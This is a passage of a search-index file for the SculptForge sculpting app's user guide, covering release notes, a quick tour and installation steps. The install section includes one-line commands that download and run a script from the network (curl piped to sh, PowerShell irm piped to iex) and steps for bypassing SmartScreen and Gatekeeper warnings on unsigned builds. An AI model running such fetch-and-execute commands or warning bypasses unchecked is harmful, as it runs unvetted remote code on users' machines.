Sculpt Mode: S, U and O for Draw Size, Strength and Falloff, B for the brushes by name, Space for the quick menu, Alt to dig in, Ctrl to mask, Ctrl+Shift to hide, D and Shift+D for subdivision levels, and more. See Working with Blender."},{"p":"whats-new.html","c":"What's new","a":"draw-the-edge-loops-you-want","h":"Draw the edge loops you want","t":"Quad Remesh Guides work: draw curves on the sculpt, around the eyes, the mouth or a joint, and Quad Remesh puts an edge loop on each one and turns the flow around it to follow. A curve that ends where it started becomes a loop that closes cleanly, symmetry mirrors what you draw, and Curves Strength sets how far around a curve the flow follows it. Guides are kept with each Part and saved in the project. See Quad Remesh Guides."},{"p":"whats-new.html","c":"What's new","a":"sculpt-layers-on-every-subdivision-level","h":"Sculpt layers on every subdivision level","t":"Sculpt layers now have a guide section on how they work with subdivision levels: record a layer at the top, step down and up, divide, reconstruct or delete levels, save, and it's still there, with one weight for every level. See Layers and subdivision levels."},{"p":"whats-new.html","c":"What's new","a":"version-07","h":"Version 0.7","t":"The Classic sculpting keys and gestures by default, and a bridge that sends models between Blender and SculptForge."},{"p":"whats-new.html","c":"What's new","a":"your-hands-just-work","h":"Your hands just work","t":"SculptForge now follows the Classic sculpting keys and gestures by default. A professional sculptor tried an earlier version and put it down because it didn't feel; this release goes through every habit of the first hour. Quick tour for experienced sculptors lists what's the same, what's different and every shortcut side by side. S, U, I, O open Draw Size, Intensity, RGB Intensity and Falloff under the cursor, and Space opens the Quick Menu with all of them plus the brush, stroke, alpha and material. Falloff shapes the brush falloff, shown as the cursor's inner ring. RGB Intensity gives painting a strength of its own, and Smooth keeps its own Intensity, so a gentle brush still smooths properly. brush letters: B C B Clay Block, B D S Sharp Crease, B M V Move, B I N Inflate... Masking: Ctrl+click the model blurs the mask, Ctrl+Alt+click sharpens it; Ctrl+A, Ctrl+Shift+A, Ctrl+I, Ctrl+H and Ctrl+W (group masked) work. Strokes and the view: Shift pressed mid-stroke draws a straight line; Shift+click, let go and drag rolls the view; Shift+Alt+click frames a Part; L toggles Lazy Stroke and V swaps colours. Visibility: Ctrl+Shift+click on a partly hidden mesh hides the group. Prefer the old keys? Preferences > Input > Style > SculptForge brings back the number keys for brushes, I for Intensity and the Ctrl+drag zoom. See Sculpting and brushes, Masking and Keyboard and mouse."},{"p":"whats-new.html","c":"What's new","a":"works-with-blender","h":"Works with Blender","t":"Keep Blender for your scene and sculpt in SculptForge: the new SculptForge Bridge add-on for Blender 4.2 and newer sends the selected objects to SculptForge with one click (starting it if needed), and File > Blender > Send to Blender sends them back. The objects update in place, keeping their transform, materials and modifiers; quads, UVs, colours, the mask and face sets (face groups) come across both ways. See Working with Blender."},{"p":"whats-new.html","c":"What's new","a":"version-06","h":"Version 0.6","t":"Performance: half the memory, a view that turns twice as fast, quicker brushes on huge meshes, and SculptForge now tells you when there's a new version."},{"p":"whats-new.html","c":"What's new","a":"lighter-sculpts","h":"Lighter sculpts","t":"A sculpt with subdivision levels takes about half the memory it did: a 33 million triangle model with its levels needs about 3.4 GB instead of 5.6, so a laptop with 32 GB holds models of 100 million triangles and more. Divide goes past 100 million triangles. The limit now follows your computer's memory instead of stopping at 50 million. Opening a project is twice as fast and no longer needs twice the model's memory while it loads. Project files of divided models are about 30% smaller. Projects from 0.5 open as before; save a copy if you still need to open it in 0.5. Sculpting gives exactly the same results as before: only the way the levels and the mesh's neighbour lists are stored changed. See Performance and big meshes."},{"p":"whats-new.html","c":"What's new","a":"big-brushes-on-huge-meshes","h":"Big brushes on huge meshes","t":"Brushes are quicker on tens of millions of polygons. On a 33 million triangle model a medium brush takes about 7.5 ms per dab (12 in 0.5), a brush covering a tenth of the model (a million vertices per dab with symmetry) about 45 ms (60 to 80 in 0.5), and masking and painting about twice as fast. Undoing a big stroke is about twice as fast too, and sculpting needs about 300 MB less memory at that size. See Performance and big meshes."},{"p":"whats-new.html","c":"What's new","a":"a-faster-lighter-viewport","h":"A faster, lighter viewport","t":"Turning the view around a huge sculpt is now about twice as fast (a 33 million triangle model: 109 frames a second with 4x antialiasing, 270 with Fast Navigation, from 49 and 68), and the graphics card needs about a third of the memory it did. Only what you can see is drawn. The mesh is drawn in patches of a few thousand triangles; patches outside the view, and on closed meshes the ones facing away from you, are skipped. Fast Navigation draws a lighter version of big meshes while the view moves, about a fifth of the triangles, and the full mesh again as soon as it stops. A 100 million triangle sphere turns at about 100 frames a second on an M1 Pro laptop. A third of the graphics memory: about 15 bytes per triangle (it was over 40 on meshes with quads), so bigger sculpts fit on the graphics card. The wireframe's edges are only kept while the wireframe is on. Opening a big model or dividing it sends it to the graphics card about 40% faster. See Performance and big meshes."},{"p":"whats-new.html","c":"What's new","a":"stl-files-print-at-the-right-size","h":"STL files print at the right size","t":"STL export is now in millimetres with Z up, as slicers expect: models used to arrive 1000 times too small and lying on their back. Set a print height in millimetres when you export, and STL files you open come in upright at their real size. See Exporting."},{"p":"whats-new.html","c":"What's new","a":"update-notifications","h":"Update notifications","t":"Once a day SculptForge looks on its website for a newer version, and if there is one, a small banner says what's in it, with What's new, Download, Later and Skip this version. It downloads one small file and sends nothing about you or your computer. Turn it off under Preferences > Updates, or check by hand with Help > Check for updates. Builds from a package manager (such as the AUR package) leave the checking to the package manager."},{"p":"whats-new.html","c":"What's new","a":"version-05","h":"Version 0.5","t":"The sculpting workflow core: subdivision levels, quad retopology, map baking, the Gizmo, and speed at tens of millions of polygons."},{"p":"whats-new.html","c":"What's new","a":"subdivision-levels","h":"Subdivision levels","t":"Sculpt one model at several resolutions: big forms low, fine detail high, and back down without losing anything. Divide (Ctrl+D) adds a level and keeps the ones below. Quads stay quads (Catmull-Clark); Smt off divides without smoothing. Lower Res / Higher Res (Shift+D / D) and the SDiv slider step between levels. Detail sculpted high rides along when you reshape low, and edits high show up softened below. Stepping back and forth is instant, even at millions of polygons. Mask, vertex paint, paint layers, face groups, hidden faces, UVs and sculpt layers follow the levels. Del Lower, Del Higher and Reconstruct Subdiv (find the lower levels of a model subdivided elsewhere). Undo walks back through strokes and level changes; projects save every level; the Parts list shows \"SDiv 3/5\". Ctrl+D now divides with levels; the old one-way Subdivide is still in Tool > Geometry. See Subdivision levels."},{"p":"whats-new.html","c":"What's new","a":"gizmo-move-scale-rotate-and-pose","h":"Gizmo: move, scale, rotate and pose","t":"Gizmo 3D, with the same keys: W Move, E Scale, R Rotate, Q back to Draw (also on the top shelf and in the Transform palette). Handles over the model. Arrows, plane squares and a free-move centre; axis rings and a view ring; axis boxes and a uniform centre. Shift snaps to 15 degrees, the grid or 10% steps. Only the unmasked part moves, so posing is: mask the body, Alt+click the shoulder to put the pivot there, raise Falloff for a soft joint, turn the arm. With X symmetry both arms move together. Pivot tools: Alt+drag the gizmo to move it alone, Reset, To Surface, World or Surface axes. Numeric entry in the Gizmo panel, All Parts (Transpose All), one undo step per drag, sculpt layers move with the surface, and the transform command for scripts. Fast on big models: a drag frame on 1.3 million triangles takes about 10 ms. W no longer toggles the wireframe: use Shift+F or Wire on the right shelf. See Moving, rotating and posing."},{"p":"whats-new.html","c":"What's new","a":"normal-displacement-and-ao-map-baking","h":"Normal, displacement and AO map baking","t":"Bake the detail of a high-poly sculpt into maps on a low-poly's UVs, for game engines and renderers: Tool > Bake. Six maps in one go: tangent-space normal, object-space normal, displacement (16-bit PNG with mid-grey = 0, plus a 32-bit EXR in world units), ambient occlusion, cavity and colour (vertex paint or texture). Right in every engine. Tangent-space maps use MikkTSpace tangents, as Blender, Unreal, Unity and Godot do; pick the OpenGL or DirectX green convention. Check it on the model. The low-poly shows its baked normal map in the viewport as soon as the bake ends, next to the high-poly. The Classic sculpting keys: source Part, 1K-8K, anti-aliasing, automatic or manual front and rear ray distances, padding around UV islands. Bakes run in the background on every core, with progress and Cancel. Send to Unreal brings the normal map along, set up as a normal map. The bake command does it all from scripts. See Baking normal and displacement maps."},{"p":"whats-new.html","c":"What's new","a":"quad-retopology-and-detail-projection","h":"Quad retopology and detail projection","t":"Quad Remesh (Tool > Geometry, like quad remesh) rebuilds a sculpt as clean quads whose edge loops follow the forms, near a Target Polygons count, in the background. Keep Groups, Adaptive Size, Use Vertex Paint, Symmetry and Half / Same / Double work. Project All (Tool > Parts > Project) puts the sculpted detail and vertex paint back onto the divided quads, with Dist, Mean and PA Blur, and respects the mask. See Quad retopology and detail projection."},{"p":"whats-new.html","c":"What's new","a":"performance-at-tens-of-millions-of-polygons","h":"Performance at tens of millions of polygons","t":"Sculpting a 33 million triangle model on a laptop now keeps up with the display: a medium brush costs about 10 ms per dab instead of 400, and turning the view runs at 50-70 frames a second instead of 32. Brushes use every core: every brush, mask and paint stroke, the normal updates and the picking structure. Results are exactly the same as on one core. Strokes send the graphics card only what they changed. Before, a dab with symmetry on a subdivided model re-sent most of the mesh. Fast undo: undo keeps only the vertices a stroke changed, and the first vertex paint stroke on a model no longer copies the whole mesh for undo. Less memory: about 30% less per triangle for a sculpting mesh. Faster projects: saving and opening big projects is faster, and projects over 4 GB save (ZIP64). Preferences > Performance: Antialiasing (Off to 8x), Fast Navigation (big scenes drop antialiasing while the view moves), Multithreading, what your last stroke cost per dab, and the memory the scene holds. A Part too big for the graphics card is left out of the view with a message, instead of failing. sculptforge --bench measures your machine. See Performance and big meshes."},{"p":"whats-new.html","c":"What's new","a":"polish","h":"Polish","t":"Your paint survives Auto UV and retopology. Auto UV on a painted Part moves the texture and its layers onto the new UVs. Voxel Remesh and Quad Remesh have a Keep Texture option (on by default) that unwraps the new surface and projects the texture onto it, and merging Parts keeps their textures in one. Each is a single undo step. See Texture painting. Faster, safer Auto UV on dense sculpts: no more crash or folded UVs on dense smooth meshes, and a million-triangle sculpt unwraps in a quarter of a minute or so. Decimate keeps the texture exact across UV seams. Subdivision levels, polished. Tools that rebuild the mesh (remesh, Decimate, Quad Remesh, Subdivide, Delete Hidden, merge and split) tell you they removed the levels and that the level you were on became the new base; Ctrl+Z brings them all back. Sculpt layers' fine detail turns with a low level you pose with the Gizmo, and Parts you aren't working on no longer hold cached levels in memory. Quad Remesh symmetry follows your model. Symmetry (now on by default) mirrors across the model's own middle, so a model away from the centre comes out mirror-symmetric too. If the model isn't symmetric, Quad Remesh remeshes it whole and tells you. Eyes, teeth and rivets get their own quads instead of disappearing, and thin hard-edged parts such as blades and fins keep both sides and their edges. See Quad retopology. Tidier top shelf: the Vertex / Texture paint target only shows when the Part has a texture. Exports checked by other tools: textured GLB, USD/USDZ, FBX and OBJ files were checked with the Khronos validator, OpenUSD and ufbx, and the texture is the right way up in each. A model saved as my scene.obj now writes my_scene.mtl so other apps find it. See Exporting."},{"p":"whats-new.html","c":"What's new","a":"texture-painting-on-uv-maps","h":"Texture painting on UV maps","t":"Paint into a texture instead of the vertices, so the colour detail comes from the texture (1K to 8K), not from the mesh: sharp decals, pores and freckles on a light game mesh. Auto UV. Tool > Texture Map > Auto UV unwraps any sculpt in the background. Models that come in with UVs keep them, and now OBJ, FBX, USD and glTF carry UVs in and out too. New Texture. Pick a size and click New Texture: the Paint brush, Rgb sculpting, fills, cavity paint and colour picking (C) now work on the texture, with the mask, symmetry, pen pressure and alphas. Strokes never paint through to the far side, and seams stay invisible. Vertex or Texture. A toggle on the top shelf chooses where paint goes for each Part. The same paint layers. Tool > Paint Layers works on the texture's layers: blend modes, opacity, merge, flatten, all undoable. Convert both ways, Show UVs, Import / Export Texture (PNG). Projects save textures and their layers, and model exports write the texture next to the model (OBJ .mtl, glTF, USD, FBX, Bridge files). See Texture painting."},{"p":"whats-new.html","c":"What's new","a":"version-041","h":"Version 0.4.1","t":"A fix for graphics tablets: the brush ring no longer flickers between two places on the model (it looked like a second brush blinking, most often while masking or smoothing). Some tablet drivers, Windows Ink among them, send extra mouse movements beside the pen's; now, while the pen is in range, only the pen moves the brush. See Pen tablets if your pen still misbehaves."},{"p":"whats-new.html","c":"What's new","a":"version-04","h":"Version 0.4","t":"Version 0.4 is about making SculptForge feel like home to experienced sculptors. It was shaped by feedback from a working professional modeler and by what sculptors say on sculpting forums."},{"p":"whats-new.html","c":"What's new","a":"classic-navigation","h":"Classic navigation","t":"Free rotation. Dragging turns the model the way the cursor moves and can roll it right over the top, . If you prefer the model to stay upright, set Preferences > Interface > Rotation to Turntable. Snap to a view. Hold Shift while rotating to snap to the nearest front, back, side, top or bottom view. Classic zoom. Alt+drag on the background pans; let go of Alt while still dragging and the rest of the drag zooms. With the right mouse button, Alt pans and Ctrl zooms. See Navigating the view."},{"p":"whats-new.html","c":"What's new","a":"mask-and-isolate-with-a-lasso-or-rectangle","h":"Mask and isolate with a lasso or rectangle","t":"Mask Lasso and Mask Rectangle. Pick the shape at the top of Tool > Masking, then Ctrl+drag to mask everything inside it; add Alt to unmask. The drag can start on the model or beside it. Select Lasso. In Tool > Visibility, pick Select Lasso next to Select Rectangle, then Ctrl+Shift+drag a free-hand shape to keep only what's inside (add Alt to hide it instead). See Mask with a lasso or rectangle and Face Groups and visibility."},{"p":"whats-new.html","c":"What's new","a":"a-material-made-for-sculpting","h":"A material made for sculpting","t":"The new Sculpt material is the default: plain clay under a strong key light, with crisp highlights and deep shading in the creases, so even small strokes stay easy to read. The other materials are still in the material picker (M), and projects keep the material they were saved with. See Vertex Paint and materials."},{"p":"whats-new.html","c":"What's new","a":"quads-stay-quads","h":"Quads stay quads","t":"Models you bring in from the other app (Bridge) or as OBJ, FBX, PLY or USD keep their quads: Wire shows them as quads, and exporting writes them back as quads. Subdivide turns each quad into four, voxel remesh now gives an even grid of quads (like voxel remesh), and new cubes and planes are made of quads. See Quads and triangles."},{"p":"whats-new.html","c":"What's new","a":"paint-layers","h":"Paint layers","t":"Vertex Paint now has layers, like Photoshop: each Part can have a stack of colour layers with their own opacity, visibility, lock and blend mode (Multiply, Screen, Overlay, Soft Light, Add and more). Painting on a layer never destroys what's underneath, and you can merge, flatten, duplicate and reorder layers. Find it in Tool > Paint Layers, and see Paint layers. The Paint Layers sub-palette with three layers and their blend modes"},{"p":"whats-new.html","c":"What's new","a":"easier-to-install","h":"Easier to install","t":"The download links now always get the newest version, and there are one-command installers for Windows, macOS and Linux."},{"p":"whats-new.html","c":"What's new","a":"version-03","h":"Version 0.3","t":"Parts: several separate meshes in one scene. Append, duplicate, split, merge, solo, and Alt+click to select. See Parts. A classic interface: shelves around the canvas, alphabetical palettes, the Library (,), the brush, stroke, alpha and material pickers, hold-Ctrl help on every control and a command palette (F3). See The interface. Graphics tablets: pen pressure, the eraser end and pen buttons. See Sculpting and brushes. A brush library with brush codes to share and a community gallery. See Brush Lab and sharing brushes. ComfyUI workflows for image and text to 3D. See Image and text to 3D. This user guide, built into the app (Help > User Guide, Shift+F1)."},{"p":"whats-new.html","c":"What's new","a":"version-02","h":"Version 0.2","t":"Masking, face groups and visibility, and vertex paint with Lit Spheres. New brushes: Sharp Crease, Clay Block, Tendril, Trim, Layer and Nudge, with strokes and alphas. Project files with autosave, recent files and snapshots, and exchange with the other app (Bridge)."},{"p":"whats-new.html","c":"What's new","a":"version-01","h":"Version 0.1","t":"The first release: sculpting with symmetry and sculpt layers, voxel remesh and decimation, game-ready LOD chains and Send to Unreal, image and text to 3D with free AI models, Gaussian splats, OpenUSD, and scripting from the command line, Python and AI agents."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"","h":"Quick tour for experienced sculptors","t":"You know how to sculpt; you just need to know where SculptForge keeps things. This chapter is the same ten stops as the in-app tour: Help > Quick tour, or Sculpted before? Take the quick tour in the welcome. Each slide there has a Show me button that opens the panel it talks about and flashes it, while the tour waits in a small bar at the bottom of the view (Back to the tour brings it back). The pictures are SculptForge in its default look and layout."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"where-things-are","h":"Where things are","t":"The command search finding Quad Remesh by the word \"retopo\" The menus along the top are sorted by task: Sculpt (brushes, strokes, alphas, symmetry), Paint, Mesh, View and Render. The right tray holds the Tool palette: Parts, Geometry, Remesh, Masking, Cut, Bake and more. The shelves around the view hold the brush, its size and strength, and the brush, stroke, alpha and material tiles. See The interface. Lost? Press F3 and type what you are after in your own words. The search knows the usual sculpting words too, and says which one it matched: Type Finds remesh, voxel, block out Voxel Remesh retopo, retopology, quads Quad Remesh subdivide, multires, levels Divide, Lower Res, Higher Res groups Face Groups clip, trim, slice Tool > Cut folders, objects Tool > Parts insert, kitbash Append (a mesh as a new Part) vertex color Vertex Paint armature Forge Spheres"},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"voxel-remesh","h":"Voxel Remesh","t":"Tool > Remesh open in the right tray A fast remesh for blocking out. Pull shapes far out or merge pieces, then rebuild one even surface: open Tool > Remesh in the right tray, set Resolution and click Voxel Remesh. A higher resolution keeps more detail. The mask and vertex paint carry over, so you can keep going. See Geometry."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"dynamic-topology","h":"Dynamic topology","t":"Sculpt > Draw & Tablet with the Dynamic topology controls Dynamic topology adds detail where you sculpt. Turn on Dynamic on the top shelf and the brush adds triangles where it needs them and removes them where it doesn't; Detail sets how small they get. Pull horns, ears or fingers out of a ball without remeshing. Wire (Shift+F) shows the new triangles. See Dynamic topology."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"quad-remesh","h":"Quad Remesh","t":"Tool > Remesh with Quad Remesh at its top Automatic quad retopology: Tool > Remesh > Quad Remesh rebuilds a sculpt as clean quads whose edge loops follow the forms. Set Target Polygons and leave Keep Original on. Divide the result, then Project All (Tool > Parts) brings the detail back. Draw Quad Remesh Guides to steer the loops. See Quad retopology."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"levels-parts-and-face-groups","h":"Levels, Parts and Face Groups","t":"Tool > Geometry with the subdivision levels Ctrl+D divides and keeps the lower levels: Shift+D steps down, D steps up, and you can sculpt at any level (Tool > Geometry). A scene holds several Parts (Tool > Parts); Alt+click one in the view to work on it. Face Groups split a Part into coloured regions to hide, isolate or mask (Tool > Face Groups). See Subdivision levels."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"masking","h":"Masking","t":"Tool > Masking with By cavity and By face group Hold Ctrl and paint to mask, Ctrl+Alt to unmask. Tool > Masking inverts, blurs and grows the mask, and builds one By cavity, By face group or along the border. Press G for the stroke popup: its Shapes row picks Mask Pen, Mask Lasso or Mask Rect for the next Ctrl stroke. See Masking."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"cut-clip-and-close-holes","h":"Cut, Clip and Close Holes","t":"Tool > Cut with its shapes and modes Pick a shape in Tool > Cut and draw it with Ctrl+Shift: a line, lasso, rectangle or polyline goes straight through the whole Part, and a closed Part stays closed. Cut it away, cut in, add, or Clip: press everything outside the shape flat onto its outline. Close Holes (Tool > Geometry) caps every open boundary. See Cut and Close Holes."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"brushes-alphas-and-the-library","h":"Brushes, alphas and the Library","t":"The Library's Brush tab B opens the brush picker; type the first letters of a name to pick one. The Alpha tile picks the stamp shape. The Library (,) holds starter meshes, brushes, alphas, Lit Spheres and snapshots. A pack (.sfpack) brings brushes, alphas and Lit Spheres in one file; File > Install Pack shows what is inside before anything is installed. See Sculpting and brushes and Packs and macros."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"baking-and-texturing","h":"Baking and texturing","t":"Tool > Bake with its maps Tool > Bake makes normal, displacement, ambient occlusion, cavity and colour maps from your sculpt onto a low-poly Part with UVs, in the background. P picks the Paint brush for vertex paint; New Texture on the top shelf paints into a texture instead (Auto UV runs first), with paint layers and material channels. See Baking, Texture painting and Material painting."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"sculptforge-stays-free","h":"SculptForge stays free","t":"Everything in this tour is free, and stays free. If SculptForge helps your work, a membership keeps it moving: members vote on what we build next in #feature-vote on Discord, and Insiders get daily drops and preview builds. See sculptforge.app/support.html. Maybe later on the tour's last slide closes it, and it doesn't come back by itself."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"keys","h":"Keys","t":"Edit > Preferences > Input > Style picks the keys: SculptForge (the default), Classic sculpting keys, Blender or Maya. Picking the Classic sculpting keys offers this tour once. See Keyboard and mouse."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"see-also","h":"See also","t":"Your first sculpt in 10 minutes The interface Glossary"},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"","h":"Install SculptForge on Windows, macOS and Linux","t":"This chapter covers what SculptForge needs, which package to download for your system, what to expect the first time you open it, and how to build it from source."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"system-requirements","h":"System requirements","t":"Operating system: Windows 10 or 11 (x64), macOS 11 or later (Apple Silicon or Intel), or a 64-bit Linux distribution (x86_64 or ARM64) with X11 or Wayland. Graphics: a GPU and driver that support OpenGL 3.3 (core profile). Any graphics card from the last ten years qualifies, including integrated Intel, AMD and Apple GPUs. SculptForge asks for 4x multisampling and falls back to none if the driver refuses it. Input: a three-button mouse works for everything. A pen tablet adds pressure (see Sculpting and brushes). Network: not needed for sculpting. The free AI features (Brush Lab and image or text to 3D) and the community brush gallery need an internet connection unless you run models on your own machine. Note: SculptForge is a 64-bit desktop application. There is no web, iPad or Android version."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"download","h":"Download","t":"Each link below downloads the newest version. Pick the one for your system: System Download How to install Windows 10/11 (x64) Installer (.exe) Run the installer (adds a Start menu shortcut) Windows, portable Portable .zip Unzip anywhere and run bin\\sculptforge.exe macOS 11+ (Apple Silicon and Intel) SculptForge.dmg Open the disk image and drag SculptForge to Applications macOS with Homebrew brew install --cask islandmed/tap/sculptforge Updates with brew upgrade Ubuntu, Debian, Mint, Pop!_OS .deb for x86_64 or ARM64 sudo apt install ./sculptforge_amd64.deb Fedora, RHEL, Rocky, Alma 8+ .rpm for x86_64 or ARM64 sudo dnf install ./sculptforge.x86_64.rpm Any Linux AppImage for x86_64 or ARM64 chmod +x the file, then run it Any Linux, sandboxed Flatpak for x86_64 or ARM64 flatpak install --user ./SculptForge-linux-x86_64.flatpak (see Flatpak) Arch Linux packaging/arch/PKGBUILD in the source makepkg -si in that folder (an AUR package is planned) Studio pipelines SculptForge--...-vfx2026.tar.gz or ...-vfx2027.tar.gz See SculptForge for studios Most PCs are x86_64; ARM64 is for ARM laptops, Raspberry Pi and Apple Silicon Macs running Linux. Older versions are on the releases page."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"install-with-one-command","h":"Install with one command","t":"Instead of downloading by hand you can install (or update) with one command. On macOS and Linux it installs for your user only, with no administrator password: curl -fsSL https://raw.githubusercontent.com/islandmed/SculptForge/main/install/install.sh | sh On Windows, in PowerShell (it downloads and starts the installer): irm https://raw.githubusercontent.com/islandmed/SculptForge/main/install/install.ps1 | iex Both check the download against the release's checksums before installing. To uninstall on macOS or Linux, run the first command with sh -s -- --uninstall at the end instead of sh. Every release also has a SHA256SUMS.txt file with the checksum of each download, so you can confirm a file arrived intact. Each package contains two programs: SculptForge, the desktop application, and sculptforge-cli, the headless command-line tool for scripts, build farms and AI agents (see Scripting and automation). On macOS the command-line tool sits inside the app bundle, at SculptForge.app/Contents/MacOS/sculptforge-cli."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"flatpak","h":"Flatpak","t":"The Flatpak runs SculptForge in Flatpak's sandbox and works on any distribution that has Flatpak (most do; see flatpak.org/setup if yours doesn't). It is a single file: download it, then flatpak install --user ./SculptForge-linux-x86_64.flatpak # or ...-linux-arm64.flatpak flatpak run org.sculptforge.SculptForge SculptForge then appears in your application menu. The first install also downloads the freedesktop runtime it runs on (a few hundred MB, shared with other Flatpak apps) from Flathub; the file adds Flathub for that if it isn't set up. Only the runtime comes from Flathub: SculptForge itself is not published there. Updating: SculptForge tells you when there is a new version, as the other packages do. Download the new .flatpak and install it the same way; your settings are kept. flatpak update updates the runtime but not a SculptForge installed from a file. Uninstalling: flatpak uninstall org.sculptforge.SculptForge (add --delete-data to remove its settings too). Files: the sandbox can read and write your home folder, so projects, models and the textures beside them open as they would without it. Files elsewhere (another drive under /mnt or /media) open through the file dialog; to let SculptForge see a whole drive, run flatpak override --user --filesystem=/mnt/data org.sculptforge.SculptForge. Settings live in ~/.var/app/org.sculptforge.SculptForge/, not ~/.local/share/SculptForge, so a Flatpak and another install of SculptForge on the same computer keep separate settings and brushes. Your library in Documents/SculptForge is shared. Pen tablets and the SpaceMouse work in the sandbox. Blender bridge: the add-on finds the Flatpak by itself and exchanges models through the usual folder. Not in the sandbox: programs SculptForge starts on your computer, such as ffmpeg for recording demo videos and the splat trainer (Splat > Train), are not visible to it. Use another package for those. Ollama, ComfyUI and other local AI servers work, because SculptForge talks to them over the network. To build the Flatpak yourself from the source, install flatpak and flatpak-builder and run packaging/flatpak/build.sh; it writes SculptForge--.flatpak."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"windows","h":"Windows","t":"Windows is where most SculptForge artists work. The notes below cover the first start, pen tablets and screen scaling."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"smartscreen","h":"SmartScreen","t":"The builds are not code-signed yet, so the first start may show \"Windows protected your PC\". Click More info. Click Run anyway. To confirm the file is the one we published, compare it with SHA256SUMS.txt on the release page."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"pen-tablets-windows-ink-and-wintab","h":"Pen tablets: Windows Ink and Wintab","t":"SculptForge reads the pen through Windows Ink, the pen input built into Windows 10 and 11. When Windows Ink is off in the tablet driver, it takes the pressure from the driver's Wintab instead. Either way works; Windows Ink also gives the eraser end and tilt. Wacom: Wacom Tablet Properties > Mapping > Use Windows Ink. You can set it for SculptForge only by adding it as an application in Wacom Tablet Properties. Huion, XP-Pen, Gaomon, Ugee: Windows Ink (sometimes \"Windows Ink mode\") in the driver's settings. Pen displays and Surface-type pens use Windows Ink already. Check it in Edit > Preferences > Tablet: it shows \"Pressure: on\" once the pen has pressed, or \"Pressure: not detected\". A tablet plugged in while SculptForge runs works straight away. If pressure is missing, switch the driver's Windows Ink option and bring the pen back to the tablet. Mouse mode. Most drivers map the pen to the screen (pen mode): where the pen touches is where the cursor goes. If you set the driver to Mouse (relative) mode, the pen moves the cursor by how far it moves, like a mouse. Turn on Edit > Preferences > Tablet > Mouse mode (relative) to match it, or the cursor jumps when you put the pen down. Pen side buttons work as the driver sets them; a button set to Right click opens the Quick Menu. More in Troubleshooting: pen tablets."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"screen-scaling-dpi","h":"Screen scaling (DPI)","t":"SculptForge follows the Scale in Windows' Settings > System > Display, so text and buttons have the same size as in other apps at 125%, 150% or 200%. To make the interface larger or smaller than that, choose a size in Edit > Preferences > Interface > UI scale (Automatic follows Windows)."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"where-files-go","h":"Where files go","t":"Settings, brushes and the log: %APPDATA%\\SculptForge\\SculptForge (Help > Open log folder opens it). Your library (projects, snapshots, alphas, Lit Spheres): Documents\\SculptForge. See Where settings live for every file."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"opening-sculptforge-for-the-first-time","h":"Opening SculptForge for the first time","t":"The builds are not code-signed yet, so your operating system may warn you the first time."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"macos-gatekeeper","h":"macOS: Gatekeeper","t":"macOS may say that SculptForge \"cannot be opened because the developer cannot be verified\". In Finder, open the Applications folder. Right-click (or Ctrl+click) SculptForge and choose Open. Click Open in the dialog that appears. You only need to do this once. On recent macOS versions you may instead have to go to System Settings > Privacy & Security and click Open Anyway next to the message about SculptForge."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"windows-smartscreen","h":"Windows: SmartScreen","t":"Windows may show \"Windows protected your PC\". See Windows below."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"linux","h":"Linux","t":"The .deb and .rpm packages add SculptForge to your desktop's application menu. An AppImage needs to be made executable first (chmod +x SculptForge-*.AppImage, or tick \"Allow executing file as program\" in your file manager's properties)."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"wayland-and-x11","h":"Wayland and X11","t":"Every Linux package (.deb, .rpm, AppImage, Flatpak, tar.gz) opens as a native Wayland window on a Wayland desktop, without XWayland, and as a normal X11 window on an X11 session. On Wayland the window stays sharp at fractional and HiDPI scales (125%, 150%, 200%), and title bars come from the desktop (or from libdecor on GNOME). To force X11 (for example, a screen recorder or remote-desktop tool that only captures X11 windows), start SculptForge with: SDL_VIDEO_DRIVER=x11 sculptforge Pen tablets work on both. On Wayland, pressure, tilt, the eraser end and side buttons come through the desktop's tablet protocol (tablet-v2), so the tablet must be set up in your desktop's settings rather than through X11 tools such as xsetwacom. If pressure doesn't respond, check Edit > Preferences > Tablet for the live pressure reading."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"what-you-see-at-start-up","h":"What you see at start-up","t":"SculptForge opens a 1600 x 960 window with a sphere ready to sculpt and the Library open along the top of the canvas on its Project tab, so you can reopen recent work with a double-click. Press , (comma) to close it, or turn off Edit > Preferences > Library > Show at startup. The first start also creates your library folder (Documents/SculptForge, with Projects, Tools, Brushes, Alphas, Lit Spheres, Images, Splats and QuickSave (snapshots) sub-folders), which the Library shows as User. The first start also asks what you are Coming from: Classic sculpting keys, Blender, Maya or New to sculpting. Your answer picks the key style: Classic sculpting keys turns on the Classic sculpting keys, Blender and Maya their own styles, and New to sculpting keeps the SculptForge keys (the default). Change it any time in Edit > Preferences > Input > Style (see Keyboard and mouse); if you are updating from an earlier version, your saved style is kept and the question isn't asked. You can open a file directly from the command line, too: sculptforge model.obj (or a .glb, .sfproj, splat capture or image). 